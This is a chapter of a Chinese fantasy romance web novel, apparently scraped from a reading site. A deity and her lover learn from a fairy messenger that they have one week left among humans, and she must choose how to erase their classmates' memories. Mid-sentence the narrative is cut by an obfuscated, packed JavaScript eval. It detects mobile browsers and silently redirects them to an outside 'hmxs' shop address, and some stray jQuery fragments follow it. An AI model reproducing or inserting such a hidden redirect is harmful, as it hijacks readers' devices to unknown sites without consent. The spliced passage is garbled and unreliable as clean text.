头疼欲裂的醒过来,已经日上三竿。
我靠在邬启的怀里,身上一点力气都没有,软趴趴的。
昨晚不知道什么时候结束的,总感觉那时候天已经亮了。
临睡前邬启还把他的T恤给我套上了,宽大的像一套睡裙,本来上面是有淡淡的皂角香的,现在却被附上了一种情.色的意味。
我掀开领口,低头一看,又是两眼一黑。
只见胸口以下的位置遍布着吻痕和牙印,像谁踩出来的脚印,持续到大腿根结束。
“邬启,”我合上酸痛的眼眶,“能给我解释一下吗?”
“不好看么。”邬启声音散漫道:“我欣赏好久。”
“……”
搞就搞。
还玩花的。
我尝试起身,腰间却传来一阵酸痛,一捧仙土做的身体果然不靠谱,感觉随时都要散架。
心理做了好半天斗争,我才终于咬着牙站起身,靠着墙,没什么好气地看着邬启。
最可气的是,折腾了半个晚上,这人仍然很精神的样子。
“……我再也不装大尾巴狼了。”我喃喃道。
“说什么?”邬启懒懒地盯着我,问道。
“我说,我后悔了。”
这话一说出来,屋子里的气氛瞬间就变了,我这才反应过来我说错话了。
不管昨晚发生了什么,邬启恐怕也是做了好大的决心,违背了很多的理智,他付出了这样多,我却反馈了一句“我后悔了”……这不是又要惹他伤心。
我连忙找补:“其实也没那么后悔——”
“后悔也来不及了。”邬启却冷冷打断我,站起身,走到我面前,贴在我耳边道:“我已经吃干抹净了。”
“……”
是我忘了这人不要脸的本色了。
我索性也不要脸上了,说:“其实我想说,我也挺享受的。”
邬启笑:“你最好是。”
方形的窗户把外面的风景圈成画像,院子里鲜花遍布,色彩斑斓,风动草木动,像加了一层春天的滤镜。
老旧的楼梯传来吱呀声,周槐打着哈欠从楼下走上来。
“启哥,我好像听到月月姐的声音——”
他手还停留在嘴边,眼角还噙着泪,仰头看到我,怔愣住。
我抱着臂等待他的反应。
“我勒个……月月姐,我都没反应过来是你,你变得更好看了。”他放下手,注意到我身上穿着的大T恤,脸色立马有点不对:“你为什么穿他的衣服?”
“要不然?”我反问:“我一直光着?”
听了这话周槐才反应过来没有准备我的衣服,“哦哦”了声,挠了挠头。
邬启上半身没穿衣服,见周槐上来了稍有收敛,从旁边又找出一件衣服套上。我也梳起头发,没想到长了这么长,以前还能散着头,现在只能扎起单马尾了。
“不过你俩有听见昨晚动静么?”周槐突然问。
这屋子里剩下的两个人,手上的动作一齐停住。
我朝邬启的方向看了眼,他正好避开我的目光,低头整理衣服上的褶皱。
他还挺淡定的:“什么动静。”
“就……”周槐也有点描述不清,“好像有小女生在哭……”
我:“……”
周槐:“好像被谁欺负了,哭得挺惨的。”
我:“…………”
邬启走了过来,面色如常,他对周槐说:“你听错了。”
“啊?是吗?”周槐也不确定了。
“或者还有一种可能。”邬启睁眼睛说瞎话,脸不红心不跳,“是隔壁老太太——”
周槐:“啊?”
邬启指了指隔壁的方向,把后半句说完:“——在说梦话。”
周槐:“……”
我扶额。
这话周槐能信?真把他当傻子糊弄呢?
结果周槐突然一拍大腿,“我靠真有可能!”
我:“?”
周槐眼睛瞪得可大:“昨天她还跟我聊年轻时候失恋往事,没准半夜就想不开了,难受了,郁郁寡欢了,可能想我呢!我得赶紧去看看!”
我:“……”
这都行?
他一溜烟地跑了下去,头都没回。
我听着他的脚步声消失在楼梯口,跑到院子里,我才松了口气。
额头出了一点汗。
吓得。
但我不得不承认,排除这种惊吓感,在人眼皮底下干这种事,还是有几分禁忌和隐秘滋味。
我想起来了合唱比赛前在仓库里秘密的吻,被吃下的口红,和催促的广播。
还没等多喘口气,楼梯的吱嘎声再次响起,我松懈下的后背也重新绷紧。
周槐这次脚步比较匆忙,两步一个台阶上来。
他扶着楼梯扶手,脸色比刚才凝重不少。
“楼下有位仙娥姑娘。”周槐目光在我和邬启身上来回打转,斟酌了一下才传达,“她说,你们在人间的时间只剩下一周了。”
一周?!
我猛地转过头。
居然这么快吗?
之前细数还剩一个月,没想到一眨眼只剩下一周了。
但想来这半个月我也没闲着,显示死了一阵,又当了一阵兔子,今天才堪堪做回人,倒也充实。
我深深的呼了一口气。
“我知道了,仙娥走了么?”人家大老远过来,不说进屋喝点茶,我这当神仙也应该出去打个招呼。
周槐张口,刚说了个“没”字,眼前闪过一阵风,似带着点金灿灿的星光。
那仙娥竟两步瞬移到了我面前。
她弯下腰向我打了个招呼,“太曦娘娘有话让我带给你。”
许久没听见太曦娘娘的名讳,我胸膛跟着一震。
仙娥趴在我的耳边,说:“你在人间发生的事,她都知道了。”
我像做了亏心事被发现一般,紧张道:“她知道了?”
仙娥又说:“她也替你瞒下了。”
这种事实在见不得光,一个神仙在人间被人当成妖怪,说出去丢了天界的脸面。
我赶忙回敬道谢:“阿月多谢……”
“不用谢这么早,”她声音纤细细腻,估计是太曦娘娘身边的仙娥,连神色都学得像了几分,“她说她只瞒了天上的,地上的没瞒。”
也就是说,虽然瞒了天帝,但学校的事她没干涉。
谣言还在四处散播,失了控。
我也失了控,没控制好表情,被仙娥里里外外欣赏了个遍。
她俏皮道:“你也不用这么生无可恋吧?偷偷告诉你,太曦娘娘没瞒不是因为不想管,她想管,只是她在你的高中转了几圈发现——不用管。”
不用瞒是什么意思?
我有点不懂了。
可是我再问她却不再回答了。
我的心早就被摧残的只剩下一片荒漠了,这句话却像是一滴雨露落在干涩裂缝的土壤里,浸透出一片湿润。
我不敢给予任何期望,但我不得不承认,希望的种子已经种下了。
可能是我表情又多云转晴,仙娥又来回欣赏个遍。
“但是你也别太乐观。”她说,“这件事本身是忤逆自然法则的,她相信你本身也清楚这件事,等你回到天上之后,她们这段记忆还是要被干涉的。”
我问:“要怎么干涉?”
“太曦娘娘给了你两个选择。”她凑近过来,靠在我的耳边,用只有我们两个人能听见的声音传递给我。
“第一,宣告你们的死亡,让他们亲眼见证。”
她说得无比自然,这个“死亡”好像不是死,是谁家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698995|189108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姑娘要结婚。我顿时瞪大了眼睛,难以置信:“什么?”
“月老殿下听不懂么?”她用袖口掩住唇,“这件事情本来就没有被散播,如果你们突然死在他们面前,这谣言就算是现实,又有谁能求证?”
还要死在他们面前。
让他们亲眼见证。
到底得有多强的心理素质能去承受这个?!
未免太残忍了吧。
“他们才17岁!”我顿时有点激动,“先不说他们还把不我当成朋友,光是‘死亡’这一个要素就够给他们留下一辈子的心理阴影!”
听完我的话,仙娥也没有半分触动,只说:“他们的心理阴影跟你有什么关系?”
“……”
有关系。
有关系。
朝夕相处了这么久,田晴晴的头绳还绑在我手上,孟小琼的物理笔记还都是我的字迹,李光横醉酒时候还在感慨我刚入学的个性,余远还琢磨着怎么超过我当第一……怎么可能没关系。
我默默攥住了拳。
“别这么看我呀。”仙娥还是那副不关己事的模样,“不是还有一种选择么?”
这个都这么操蛋了,下一个选择不会是给他们全杀了吧?
那我可能先解决面前这个。
她放下袖口,做了一个口型。
我只恨我反应力太过迅速,瞬间读懂她的意思。
随后陷入了巨大的茫然。
“看来你已经有选择了,那我可以回去给太曦娘娘交差了。”仙娥笑,“月老殿下,一周后见。”
我怔忡地看向她。
她说:“您满庭院的枫叶都在想您。”
我又避开了目光。
仙娥不再同我继续讲述,移步到邬启边上,同样弯下腰做了个礼数,“财神爷也不要玩物丧志呀。”
邬启抬头睨了眼她。
“具体什么选择,月老殿下会跟您细说的,这是你们两个人的决定。”
说完这句话,她像来时那般随风散去了。
阁楼窗户被封吹得敲打在木质的柜门上,分明满屋的温馨场景,却生出了几分寂寥。
我眼神无助地看向邬启,他走过来,紧紧地把我抱住在怀里。
一旁的周槐也避开了眼睛,他仿佛也能感受到这场对话的内容没那么简单。
在人间待了一段时间,他也被这种情绪感染了不少。他挠了挠头,嘟囔着“我还得哄隔壁老太太”之类的话就走了。
阁楼上只剩下我们两个。
我埋在他胸口,听他说:“第一个是死亡,你没同意。”
我闷着声:“嗯。”
紧接着我又补充,“第二个我也没同意。”
邬启问:“第二个是什么?”
那句口型我读得清清楚楚,一字不落,刻骨铭心。但是读是一回事,说出来又是另外一回事,等最后做出来更是一回事。
我压住我的眼泪,狠狠地摇了摇头。
“那我猜猜,”邬启试图缓解气氛,语气带了点笑意,“是不是让他们把那天的事情全都忘光?谁也想不起来。”
我没吭声。
邬启继续说道:“这不挺好的吗?那你还郁闷什么?是不是要付出什么代价?比如说没收月老殿一棵枫树……哦我知道了,要扣你功德!害,这都是小事。”
“不是……不是。”
我哽着喉咙说。
完全跑偏了。
“不是什么?”
“不是把那天的事情全忘掉。”
邬启心里也有了猜测,脸上瞬间褪去一层血色。
我抱紧他顿时冰冷的身躯,逼着自己残忍了一把。
“是……
把我们存在过的这一年全部抹去。”
让他们的记忆里。
从此再没有桑月和邬启。